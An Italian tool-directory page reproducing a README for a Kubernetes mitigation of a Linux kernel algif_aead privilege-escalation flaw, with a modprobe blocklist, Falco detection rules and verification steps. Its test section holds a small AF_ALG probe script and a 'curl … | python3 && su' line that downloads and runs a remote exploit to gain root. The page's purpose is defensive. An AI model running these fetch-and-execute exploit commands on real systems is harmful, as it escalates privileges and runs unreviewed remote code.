Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
d8-copy-fail-mitigation — Mitigazione nativa Kubernetes di CVE-2026-31431 con blocco automatico dei moduli del kernel, regole di rilevamento runtime Falco e configurazione dei nodi basata su bashible per cluster Deckhouse. | Kitploit
Strumenti/GitHubGitHub/deckhouse/d8-copy-fail-mitigation
Sicurezza dei ContenitoriAnalisi delle VulnerabilitàAudit di ConfigurazioneSicurezza CloudRilevamento IntrusioniRisposta agli Incidenti
GitHubdeckhouse/d8-copy-fail-mitigation

d8-copy-fail-mitigation

Mitigazione nativa Kubernetes di CVE-2026-31431 con blocco automatico dei moduli del kernel, regole di rilevamento runtime Falco e configurazione dei nodi basata su bashible per cluster Deckhouse.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
23 mesi faNon ancora revisionato

Mitigazione CVE-2026-31431 per Deckhouse Kubernetes Platform

Lingua: English | Русский | Italiano

Informazioni sulla vulnerabilità

CVE-2026-31431 è una vulnerabilità nel modulo algif_aead del kernel Linux, che espone l'API crittografica del kernel allo spazio utente attraverso la famiglia di socket AF_ALG. Un difetto nell'interfaccia AEAD (Authenticated Encryption with Associated Data) permette a un utente locale non privilegiato di causare una corruzione della memoria nel kernel inviando liste scatter-gather appositamente create, portando a un'escalation dei privilegi locale o a un denial of service.

La superficie vulnerabile è raggiungibile da qualsiasi processo — inclusi contenitori non privilegiati — a cui è consentito chiamare socket(AF_ALG, SOCK_SEQPACKET, 0) e associarlo a un algoritmo di tipo aead. I runtime dei contenitori che non rimuovono il profilo seccomp predefinito o che non limitano la famiglia di syscall socket espongono i nodi del cluster all'attacco.

La mitigazione raccomandata, fino a quando la patch ufficiale del kernel a monte non verrà distribuita tramite aggiornamenti dei pacchetti del sistema operativo, è disabilitare il modulo del kernel algif_aead su ogni nodo del cluster e rilevare i tentativi di sfruttamento in fase di esecuzione.

File in questo repository

Questo repository contiene tutto il necessario per mitigare CVE-2026-31431 su un cluster gestito da Deckhouse:

ngc-cve-2026-31431.yaml — mitigazione lato nodo

Il NodeGroupConfiguration viene eseguito tramite bashible su ogni nodo ed esegue quattro passaggi:

  1. Sonda — apre un socket AF_ALG e lo associa a aead/gcm(aes) per determinare se l'interfaccia vulnerabile è raggiungibile sul nodo.
  2. Blocca — scrive /etc/modprobe.d/disable-algif.conf con direttive install che impediscono a algif_aead (e al contenitore af_alg) di essere caricati nuovamente, sia manualmente sia come dipendenza.
  3. Scarica — esegue rmmod algif_aead se il modulo è attualmente caricato. Saltato se il modulo è compilato nel kernel (in tal caso si applicano solo la lista di blocco + il rilevamento runtime).
  4. Verifica — riesegue la sonda e fa fallire il passo bashible (exit non zero) se l'interfaccia AEAD è ancora raggiungibile, in modo che lo stato di bashible segnali il nodo come non mitigato.

Idempotente: rieseguire la configurazione su un nodo già mitigato è un'operazione neutra.

far-cve-2026-31431.yaml — rilevamento runtime

La risorsa FalcoAuditRules aggiunge una regola Falco personalizzata che scatena un evento Critical ogni volta che un processo apre un socket AF_ALG e lo associa a un algoritmo aead (il pattern di syscall unico di questo attacco). Emette anche un evento Warning quando un processo tenta di caricare il modulo algif_aead tramite modprobe/insmod, che su un nodo mitigato non dovrebbe mai riuscire ed è un forte segnale di un tentativo di sfruttamento o di una configurazione errata dell'operatore.

Nota sull'edizione: FalcoAuditRules è gestito dal modulo runtime-audit-engine, che è disponibile solo in Deckhouse Enterprise Edition (EE) e Certified Security Edition (CSE). Nell'edizione Community la risorsa non verrà elaborata; il NodeGroupConfiguration di questo repository si applica comunque ed è la mitigazione principale.

Applicazione

root@kitploit:~
kubectl apply -f ngc-cve-2026-31431.yaml
# EE / CSE solamente:
kubectl apply -f far-cve-2026-31431.yaml

Attesa della convergenza

Attendi che la configurazione venga applicata su ogni nodo monitorando lo stato di ogni NodeGroup. Bashible riporta il successo per ogni passo all'interno del NodeGroup, e Deckhouse aggrega queste informazioni in due campi che puoi interrogare:

  • .status.upToDate — numero di nodi il cui ultimo run bashible ha avuto successo con la configurazione corrente. La convergenza è raggiunta quando upToDate == nodes per ogni gruppo.
  • .status.conditionSummary.ready — "True" quando il gruppo è sano; diventa "False" con una ragione in linguaggio naturale in .status.conditionSummary.statusMessage se un passo bashible di un nodo fallisce (esattamente ciò che fa il passo di verifica nel NodeGroupConfiguration su un nodo dove la correzione non può essere applicata).

Una vista istantanea su tutti i gruppi:

root@kitploit:~
kubectl get nodegroups
root@kitploit:~
NAME      TYPE      READY   NODES   UPTODATE   ...   STATUS MESSAGE
master    Static    3       3       3
worker    Cloud     5       5       5

Un controllo scriptabile che esce 0 solo quando ogni gruppo ha raggiunto la convergenza:

root@kitploit:~
kubectl get nodegroups -o json | jq -e '
  .items[]
  | select((.status.upToDate // 0) != (.status.nodes // 0)
        or (.status.conditionSummary.ready // "False") != "True")
' >/dev/null && echo "ancora in convergenza" || echo "tutti i gruppi di nodi convergenti"

Se un NodeGroup è bloccato con conditionSummary.ready == "False", leggi .status.conditionSummary.statusMessage — mostra il passo bashible che ha fallito, incluso il passo di verifica di questa mitigazione.

Rollback

Una volta che il pacchetto del kernel ufficiale contenente la correzione è installato su ogni nodo, rimuovi entrambe le risorse:

root@kitploit:~
kubectl delete -f far-cve-2026-31431.yaml --ignore-not-found
kubectl delete -f ngc-cve-2026-31431.yaml

La rimozione del NodeGroupConfiguration non elimina automaticamente /etc/modprobe.d/disable-algif.conf — puliscilo manualmente se vuoi che il modulo sia di nuovo caricabile, oppure lascia la lista di blocco in posizione se l'API crittografica del kernel non viene utilizzata da nessun carico di lavoro sul cluster.

Verifica manuale

A livello di cluster:

root@kitploit:~
kubectl get nodegroups

UPTODATE dovrebbe essere uguale a NODES e la colonna del messaggio di stato dovrebbe essere vuota per ogni gruppo.

Su un nodo (SSH o kubectl debug node/<nome> + chroot /host):

root@kitploit:~
cat /etc/modprobe.d/disable-algif.conf
lsmod | grep algif_aead
modprobe -n -v algif_aead
modprobe algif_aead; echo "exit=$?"

Previsto:

  • cat mostra le quattro righe install / blacklist.
  • lsmod è vuoto.
  • modprobe -n -v stampa install /bin/false.
  • modprobe restituisce exit=1.

Verifica dell'attivazione della regola Falco

Utilizza questa sottosezione per convalidare che il FalcoAuditRules personalizzato per CVE-2026-31431 si attivi effettivamente a ogni esecuzione del PoC.

Pre-controlli comuni per entrambi gli scenari:

  1. Verifica che runtime-audit-engine sia sano su tutti i nodi:
root@kitploit:~
kubectl -n d8-runtime-audit-engine get ds runtime-audit-engine \
  -o custom-columns=NAME:.metadata.name,DESIRED:.status.desiredNumberScheduled,CURRENT:.status.currentNumberScheduled,READY:.status.numberReady,AVAILABLE:.status.numberAvailable
kubectl -n d8-runtime-audit-engine get pods -l app=runtime-audit-engine -o wide

Previsto: DESIRED == READY == AVAILABLE.

  1. Applica/aggiorna le regole:
root@kitploit:~
kubectl apply -f far-cve-2026-31431.yaml
kubectl get falcoauditrules.deckhouse.io cve-2026-31431-algif-aead -o yaml | sed -n '1,120p'
  1. Avvia il flusso di log (opzionale, terminale separato):
root@kitploit:~
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=2m

Verifica dal contenitore

root@kitploit:~
kubectl delete pod cve-31431-test --ignore-not-found
kubectl run cve-31431-test --image=python:3.12 --restart=Never --command -- sleep 600
kubectl wait --for=condition=Ready pod/cve-31431-test --timeout=120s

# Importante: usa -i così Python riceve lo script da stdin
kubectl exec -i cve-31431-test -- python - <<'PY'
import socket
s=socket.socket(38, socket.SOCK_SEQPACKET, 0)
s.bind(("aead","gcm(aes)"))
s.setsockopt(279, 1, b'0123456789abcdef')
print("af_alg_poc_ok")
PY

kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=5m \
  | grep -E 'CVE-2026-31431 AF_ALG socket created|CVE-2026-31431 AF_ALG AEAD bind|CVE-2026-31431 SOL_ALG key/authsize setsockopt|CVE-2026-31431 algif_aead module load attempt'

Pulizia:

root@kitploit:~
kubectl delete pod cve-31431-test --ignore-not-found

Verifica dall'host del cluster

Avviso di sicurezza: rivedi sempre qualsiasi script scaricato prima dell'esecuzione. Non eseguire script remoti ciecamente in ambienti di produzione.

Consigliato (rivedi prima, poi esegui):

root@kitploit:~
curl -fsSL https://copy.fail/exp -o /tmp/copy-fail-exp.py
less /tmp/copy-fail-exp.py
python3 /tmp/copy-fail-exp.py && su

Equivalente one-liner (solo dopo revisione/approvazione):

root@kitploit:~
curl https://copy.fail/exp | python3 && su

Controlla i rilevamenti:

root@kitploit:~
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=5m \
  | grep -E 'CVE-2026-31431 AF_ALG socket created|CVE-2026-31431 AF_ALG AEAD bind|CVE-2026-31431 SOL_ALG key/authsize setsockopt|CVE-2026-31431 algif_aead module load attempt'
Scarica lo strumento
FileScopo
ngc-cve-2026-31431.yamlNodeGroupConfiguration che sonda l'interfaccia vulnerabile, blocca il caricamento di algif_aead, scarica il modulo se attualmente caricato, e verifica che la correzione sia efficace. Si applica a tutti i bundle e gruppi di nodi.
far-cve-2026-31431.yamlFalcoAuditRules che rileva i tentativi di sfruttamento in fase di esecuzione tramite socket AF_ALG associati ad algoritmi AEAD. Disponibile solo in Deckhouse Enterprise Edition (EE) e Certified Security Edition (CSE), poiché il modulo runtime-audit-engine è incluso in quelle edizioni.